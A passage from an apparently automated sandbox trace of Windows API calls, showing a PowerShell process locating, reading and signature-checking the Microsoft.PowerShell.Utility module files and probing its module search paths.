lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee0b8) returned 1 [0131.180] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x23fb8ec | out: lpFileInformation=0x23fb8ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0131.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0b4) returned 1 [0131.180] CoCreateGuid (in: pguid=0x59ee388 | out: pguid=0x59ee388*(Data1=0x1c5c88cc, Data2=0xb094, Data3=0x44d3, Data4=([0]=0x8c, [1]=0xfe, [2]=0xd3, [3]=0x93, [4]=0xa6, [5]=0xe7, [6]=0x7d, [7]=0x6c))) returned 0x0 [0131.180] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x540 [0131.181] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x548 [0131.181] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x554 [0131.181] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x550 [0131.181] SetEvent (hEvent=0x550) returned 1 [0131.181] SetEvent (hEvent=0x540) returned 1 [0131.181] SetEvent (hEvent=0x548) returned 1 [0131.181] SetEvent (hEvent=0x554) returned 1 [0131.182] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x558 [0131.182] SetThreadUILanguage (LangId=0x0) returned 0x409 [0131.183] EtwEventActivityIdControl () returned 0x0 [0131.183] EtwEventActivityIdControl () returned 0x0 [0131.183] EtwEventActivityIdControl () returned 0x0 [0131.190] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0131.191] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.191] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59edbb4) returned 1 [0131.191] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59ede78 | out: lpFileInformation=0x59ede78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0131.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59edbb0) returned 1 [0131.192] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0131.192] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.192] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.192] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59edabc, Length=0x20, ResultLength=0x59edb2c | out: SystemInformation=0x59edabc, ResultLength=0x59edb2c*=0x0) returned 0xc0000003 [0131.192] GetSystemInfo (in: lpSystemInfo=0x59edb38 | out: lpSystemInfo=0x59edb38*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0131.193] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59edac8 | out: phkResult=0x59edac8*=0x55c) returned 0x0 [0131.193] RegQueryValueExW (in: hKey=0x55c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59edae4, lpData=0x0, lpcbData=0x59edae0*=0x0 | out: lpType=0x59edae4*=0x0, lpData=0x0, lpcbData=0x59edae0*=0x0) returned 0x2 [0131.193] RegCloseKey (hKey=0x55c) returned 0x0 [0131.193] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.193] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eda40) returned 1 [0131.194] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x55c [0131.194] GetFileType (hFile=0x55c) returned 0x1 [0131.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eda3c) returned 1 [0131.194] GetFileType (hFile=0x55c) returned 0x1 [0131.194] SetFilePointer (in: hFile=0x55c, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eda7c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eda7c*=0) returned 0x0 [0131.194] ReadFile (in: hFile=0x55c, lpBuffer=0x2408dbc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59edaa8, lpOverlapped=0x0 | out: lpBuffer=0x2408dbc*, lpNumberOfBytesRead=0x59edaa8*=0x982, lpOverlapped=0x0) returned 1 [0131.195] SetFilePointer (in: hFile=0x55c, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eda7c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eda7c*=0) returned 0x982 [0131.195] ReadFile (in: hFile=0x55c, lpBuffer=0x24082d2, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x59edaa8, lpOverlapped=0x0 | out: lpBuffer=0x24082d2*, lpNumberOfBytesRead=0x59edaa8*=0x0, lpOverlapped=0x0) returned 1 [0131.195] SetFilePointer (in: hFile=0x55c, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eda7c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eda7c*=0) returned 0x982 [0131.195] ReadFile (in: hFile=0x55c, lpBuffer=0x2408dbc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59edaa8, lpOverlapped=0x0 | out: lpBuffer=0x2408dbc*, lpNumberOfBytesRead=0x59edaa8*=0x0, lpOverlapped=0x0) returned 1 [0131.195] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59eda10, Length=0x20, ResultLength=0x59eda80 | out: SystemInformation=0x59eda10, ResultLength=0x59eda80*=0x0) returned 0xc0000003 [0131.196] GetSystemInfo (in: lpSystemInfo=0x59eda8c | out: lpSystemInfo=0x59eda8c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0131.196] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59eda1c | out: phkResult=0x59eda1c*=0x560) returned 0x0 [0131.196] RegQueryValueExW (in: hKey=0x560, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59eda38, lpData=0x0, lpcbData=0x59eda34*=0x0 | out: lpType=0x59eda38*=0x0, lpData=0x0, lpcbData=0x59eda34*=0x0) returned 0x2 [0131.196] RegCloseKey (hKey=0x560) returned 0x0 [0131.196] CloseHandle (hObject=0x55c) returned 1 [0131.198] CoCreateGuid (in: pguid=0x59edb0c | out: pguid=0x59edb0c*(Data1=0x9db0128f, Data2=0x70d4, Data3=0x4a39, Data4=([0]=0x81, [1]=0x33, [2]=0x72, [3]=0xd5, [4]=0xc9, [5]=0x3b, [6]=0xb3, [7]=0xca))) returned 0x0 [0131.198] QueryPerformanceCounter (in: lpPerformanceCount=0x59ed86c | out: lpPerformanceCount=0x59ed86c*=1177217488602) returned 1 [0131.198] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.198] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ed558) returned 1 [0131.198] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59ed81c | out: lpFileInformation=0x59ed81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0131.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ed554) returned 1 [0131.198] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.198] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.198] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.198] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ed4ec) returned 1 [0131.199] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59ed7b0 | out: lpFileInformation=0x59ed7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0131.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ed4e8) returned 1 [0131.199] CoTaskMemAlloc (cb=0x10) returned 0x4f4b560 [0131.199] CoTaskMemAlloc (cb=0x10) returned 0x4f4b578 [0131.199] CoTaskMemAlloc (cb=0xe4) returned 0x535a08 [0131.199] CoTaskMemAlloc (cb=0x30) returned 0x4f1dc40 [0131.199] WinVerifyTrust () returned 0x800b0100 [0131.207] CoTaskMemFree (pv=0x4f4b560) [0131.207] CoTaskMemFree (pv=0x4f1dc40) [0131.207] CryptCATHandleFromStore () returned 0x4feec8 [0131.207] WTHelperGetProvSignerFromChain () returned 0x0 [0131.208] CoTaskMemAlloc (cb=0x10) returned 0x4f4b560 [0131.208] CoTaskMemAlloc (cb=0x30) returned 0x4f1dc40 [0131.208] WinVerifyTrust () returned 0x0 [0131.208] CoTaskMemFree (pv=0x4f1dc40) [0131.208] CoTaskMemFree (pv=0x4f4b560) [0131.208] CoTaskMemFree (pv=0x535a08) [0131.208] CoTaskMemFree (pv=0x4f4b578) [0131.299] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en-US\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en-us\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0131.299] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0131.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0131.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0131.304] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0131.304] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x64, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x63 [0131.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ecfa8) returned 1 [0131.304] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x59ed26c | out: lpFileInformation=0x59ed26c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0131.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ecfa4) returned 1 [0131.304] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.304] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.304] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x59ecf24, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0131.307] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0131.308] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0131.308] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x51, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x50 [0131.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ecdb0) returned 1 [0131.308] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x59ed074 | out: lpFileInformation=0x59ed074*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0131.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ecdac) returned 1 [0131.322] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.326] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0131.332] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0131.333] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0131.333] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x57, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x56 [0131.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ecdb0) returned 1 [0131.333] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x59ed074 | out: lpFileInformation=0x59ed074*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0131.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ecdac) returned 1 [0131.336] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.339] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0131.340] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0131.340] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x59, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x58 [0131.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ecdb0) returned 1 [0131.378] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x59ed074 | out: lpFileInformation=0x59ed074*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0131.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ecdac) returned 1 [0131.381] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, 